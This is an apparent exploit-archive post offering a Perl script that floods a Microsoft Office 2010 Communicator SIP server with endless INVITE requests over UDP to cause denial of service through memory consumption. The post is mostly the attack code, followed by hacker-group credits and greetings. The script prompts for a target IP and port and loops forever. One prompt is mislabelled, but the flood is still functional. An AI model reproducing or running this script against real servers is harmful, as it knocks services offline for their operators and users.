Microsoft Office 2010 Beta – Communicator SIP Denial of Service
======================================================================================== | # Title : Microsoft Office ( 2010 beta ) Communicator SIP denial of service Exploit | # Author : indoushka | # email : indoushka@hotmail.com | # Home : www.iqs3cur1ty.com/vb | # Tested on: windows SP2 | # Bug : Denial of service Exploit ====================== Exploit By indoushka ================================= # Exploit : #!usr/bin/perl ####################################################################################################################### # Microsoft Office 2010 Communicator allows remote attack to cause a denial of service (memory consumption) via # # a large number of SIP INVITE requests. # ####################################################################################################################### use IO::Socket; print("\nEnter IP Address of Target Server: \n"); $vuln_host_ip = <STDIN>; print("\nEnter IP Address of Target Server: \n"); $port = <STDIN>; $sock_sip = IO::Socket::INET->new( PeerAddr => $vuln_host_ip, PeerPort => $port, Proto => 'udp') || "Unable to create Socket"; #if the server is configured on TCP replace 'udp' with 'tcp'. while(1) { print $sock_sip "INVITE sip:arpman.malicious.com SIP/2.0\r\nVia: SIP/2.0/UDP 172.16.16.4;branch=123-4567-900\r\n"; } #program never comes here for execution close($sock_sip); Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * XproratiX * onurozkan * n2n * ======================== Greetz : Exploit-db Team : (loneferret+Exploits+dookie2000ca) all my friend : His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc) Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R (http://www.ilegalintrusion.net/foro/) Cyb3r IntRue (avengers team) * The globin * Virus_Hima --------------------------------------------------------------------------------------------------------------- |